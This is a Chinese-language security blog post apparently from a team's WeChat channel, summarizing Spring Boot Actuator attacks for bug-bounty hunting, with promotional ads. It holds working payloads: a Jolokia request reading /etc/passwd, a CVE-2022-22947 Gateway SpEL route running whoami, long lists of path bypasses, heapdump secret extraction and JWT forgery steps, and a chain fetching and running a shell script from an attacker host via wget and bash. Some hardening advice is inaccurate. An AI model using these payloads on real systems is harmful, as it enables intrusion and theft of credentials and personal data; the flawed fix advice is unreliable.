Spring Boot漏洞总结(文末加技术交流群)
Spring Boot漏洞总结(文末加技术交流群)
原创 ashui Rot5pider安全团队 2025-04-27 00:58
点击上方蓝字 关注安全知识
引
言
下方加交流群,二维码满了添加:
parkour1998 入群
一、Spring Boot框架识别方法
-
图标特征
-
默认启动页图标(可通过浏览器开发者工具查看favicon.ico文件hash值)
-
Spring Boot Actuator默认路径暴露(/actuator/**)
-
报错页面特征
-
Whitelabel Error Page
(默认错误页,含关键特征字符串error
和status=404
) -
Favicon.ico文件校验(通过icon_hash=”116323821″
快速定位)
1. 自动化识别技术
- FOFA语法增强
:“`
icon_hash=”116323821″ && body=”Whitelabel Error Page” || header=”X-Application-Context”
1. **Shodan关键词**
:"Spring-Boot-Actuator""Spring-Boot-Version"
#### 二、Spring Boot Actuator未授权访问漏洞
**漏洞原理**
Actuator默认暴露监控端点(如/health
、/env
),若未配置安全措施(如Spring Security),攻击者可直接访问敏感接口。
**版本差异与防御现状**
- **Spring Boot < 1.5.0**
:所有端点默认开放
- **Spring Boot >= 1.5.0**
:仅开放/health
和/info
(但实际环境中常因配置疏忽导致全开放)
**新增攻击面**
- **Jolokia端点**
(/jolokia):暴露JMX管理接口,可执行任意Java代码```
POST /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL HTTP/1.1
Content-Type: application/json
{"url":"file:///etc/passwd"}
防御加固方案
1. 最小化暴露端点:management.endpoints.web.exposure.include=health,info
-
启用认证:management.security.enabled=true
-
IP白名单限制:management.server.address=127.0.0.1
-
日志监控:记录Actuator访问日志并设置告警
三、高级挖掘技巧
1. 端点隐藏与绕过
– 路径混淆
:利用Spring Boot路径匹配规则绕过防护“`
GET /actuator/..;/env HTTP/1.1 # 利用路径分隔符绕过
GET /actuator/%2e%2e/env HTTP/1.1 # URL编码绕过

有的会将 actuator 修改为其他路径,如http://example.com/manager(某 8SRC 真实案例)

actuator 的列表里虽然只显示了 info 和 health,但手动拼接/heapdump 或/env,可以下载 heapdump 和查看 env,还可以尝试加入绕过手法 如 http://example.com/actuator/;/env 等(下方也会给出绕过方法)
这种情况是,网站存在登录的功能,登录前访问http://example.com/actuator/env,网页响应码为 404 或 403,登陆后便可正常访问和下载 在挖掘的过程中可借助工具辅助进行指纹识别和路径扫描: https://docs.ezreal.cool/docs/intro/ https://github.com/AabyssZG/SpringBoot-Scan
**2. 命令注入与RCE**
- **Gateway组件RCE(CVE-2022-22947)**
- 获取路由列表:GET /actuator/gateway/routes
- 注入恶意路由:```
curl -X POST \
-H "Content-Type: application/json" \
-d '{"route_id":"attack","uri":"lb://malicious-service","predicates":[{"name":"Path","args":{"pattern":"/test"}}],"filters":[{"name":"RewritePath","args":{"regexp":"/test/(?<segment>.*)","replacement":"/${segment}/../../../../../../../../etc/passwd"}}]}" \ http://target:8080/actuator/gateway/routes
- 触发请求:GET /test
→ 读取/etc/passwd
同样是端点泄露,但该 RCE 漏洞需要 refresh 和 gateway 两个端点
访问/actuator/gateway/routes获取路由信息,确认服务开启
构造包含恶意SpEL表达式的路由,执行了whoami命令
{
"id": "hacker",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}
],
"uri": "http://example.com"
}
构造post请求/actuator/gateway/refresh以刷新路由,注意请求方式,路径,Content-Type,响应200即成功,不成功就多刷新几次
还是访问/actuator/gateway/routes,获取路由信息,可见新增的路由已经存在,且whoami命令已经执行
或者构造get请求,路径为/actuator/gateway/routes/hacker,即可查看指定的路由信息
常见端点及其作用 以下是整理后的Spring Boot Actuator端点表格,按功能分类并补充安全建议:
Spring Boot Actuator端点概览表
|
|
|
|
|
---|---|---|---|---|
/auditevents |
|
|
|
|
/beans |
|
|
|
|
/conditions |
|
|
|
|
/configprops |
@ConfigurationProperties 配置项(如数据库、Redis连接信息) |
|
|
|
/env |
|
|
|
password 、secret ) |
/flyway |
|
|
|
|
/health |
|
|
|
|
/info |
|
|
|
|
/liquibase |
|
/flyway |
|
|
/metrics |
|
|
|
|
/mappings |
@RequestMapping 路径(API接口清单) |
|
|
|
/scheduledtasks |
|
|
|
|
/sessions |
|
|
|
|
/shutdown |
|
|
|
务必禁用
management.endpoint.shutdown.enabled=false ) |
/threaddump |
|
|
|
|
/heapdump |
|
|
|
.hprof 文件 |
/jolokia |
|
|
|
|
/logfile |
|
|
|
|
/prometheus |
|
|
|
|
3. 敏感数据泄露链
– JWT密钥窃取→权限提升
-
介绍:heapdump 是内存转储,可能存在用户名、密码哈希值、数据库连接凭据、HTTP会话缓存、jwt 密钥、api key、ftp password、云 ak/sk等等各种敏感信息 工具:
-
通过/actuator/env
获取spring.security.oauth2.resourceserver.jwt.jwk-set-uri -
下载JWK密钥:curl http://target/jwk-set-uri
-
使用密钥伪造管理员Token
https://github.com/whwlsfb/JDumpSpider
https://github.com/wyzxxz/heapdump_tool
利用方法: 访问 http://example.com/actuator/heapdump 下载 heapdump 文件,使用工具获取敏感信息
各种数据源信息,若 IP 为外网地址,可尝试使用 Navicat 进行连接。
Nacos jwt secret,配合打 Nacos 权限绕过
用户名和密码信息,密码可尝试 md5 解密,也可以提取用户名,进行密码碰撞
AKSK 就先判断归属,后使用对应工具进行连接(下图来源于某 SRC 核心双倍积分期间挖到的 heapdump,但重复了。。。)
env绕过手法
/A/B/C/.;/..;/.;/actuator/
/A/B/C/.;./.;./.;/actuator/
/A/B/C?action=/actuator
/%61%63%74%75%61%74%6f%72
/actuator/.
/actuator..
/actuator//
/actuator/..
/;/actuator
//;//actuator
/ACTUATOR
/A/B/C/..;/..;/..;/actuator.css
/A/B/C/..;/..;/..;/actuator.jpg
/A/B/C/..;/..;/..;/actuator.js
/A/B/C/..;/..;/..;/actuator.json
/A/B/C/..;/..;/..;/actuator.css/
/A/B/C/..;/..;/..;/actuator.jpg/
/A/B/C/..;/..;/..;/actuator.js/
/A/B/C/..;/..;/..;/actuator.json/
四、工具与资源整合
1. 自动化检测工具
– ActuatorScanner
:“`
git clone https://github.com/0xbug/ActuatorScanner.git
pip install -r requirements.txt
python3 scanner.py -u http://target -t 100
“`
- Cloud Snooper
:
支持Nacos/Apollo配置中心敏感信息提取
2. 内存分析神器
– JVM-Sandbox
:动态Hook JVM进程,实时监控/heapdump
下载行为
- Repeater
(Burp Suite插件):自动化重放heapdump下载请求
五、典型漏洞案例
案例1:某政务系统通过Actuator获取数据库凭证
– 漏洞路径:/actuator/env
泄露spring.datasource.password
-
利用方式:直接使用明文密码登录数据库
-
影响范围:20万+公民个人信息泄露
案例2:电商后台通过Jolokia执行命令
– 攻击链路:POST /jolokia/exec/java.lang.Runtime/exec(“wget http://attacker/shell.sh -O /tmp/shell.sh”)POST /jolokia/exec/java.lang.Runtime/exec(“/bin/bash /tmp/shell.sh”)
- 防御失效点:未配置Jolokia访问控制
六、修复建议清单
-
最小权限原则
-
仅暴露必要端点:management.endpoints.web.exposure.exclude=*
-
传输加密
-
强制HTTPS:server.ssl.enabled=true
-
审计与监控
-
记录Actuator访问日志:management.endpoint.health.show-details=always
-
容器化安全
-
禁用Docker/Kubernetes健康检查端点暴露
七、延伸威胁场景
-
供应链攻击
:通过Actuator获取构建工具配置(如Maven私服凭证) -
横向移动
:利用/actuator/refresh
触发配置更新,植入恶意中间件 -
持久化威胁
:通过/logfile
写入后门文件
【限时
6
折!华普安全研究星球:以
原创实战
为主+SRC/内网渗透核心资源库,助你在漏洞挖掘、SRC挖掘少走90%弯路】当90%的网络安全学习者还在重复刷题、泡论坛找零散资料时,华普安全研究星球已构建起完整的「攻防实战知识生态」:
✅ 原创深度技术文档(独家SRC漏洞报告/代码审计报告)
✅ 实战中使用到的工具分享
✅ 全年更新SRC挖掘、代码审计报告(含最新0day验证思路)
✅ 漏洞挖掘思维导图
✅内部知识库目前建设中、后续进入圈子免费进入
【
实战为王
】不同于传统课程的纸上谈兵!!
扫码技术交流群,禁止广告,一起维护一个好的交流环境
往期精选
围观
丨更多
热文
丨更多
·end·
—如果喜欢,快分享给你的朋友们吧—
我们一起愉快的玩耍吧
【免责声明】
“Rot5pider安全团队”作为专注于信息安全技术研究的自媒体平台,致力于传播网络安全领域的前沿知识与防御技术。本平台所载文章、工具及案例均用于合法合规的技术研讨与安全防护演练,严禁任何形式的非法入侵、数据窃取等危害网络安全的行为。所有技术文档仅代表作者研究过程中的技术观察,不构成实际操作建议,更不作为任何法律行为的背书。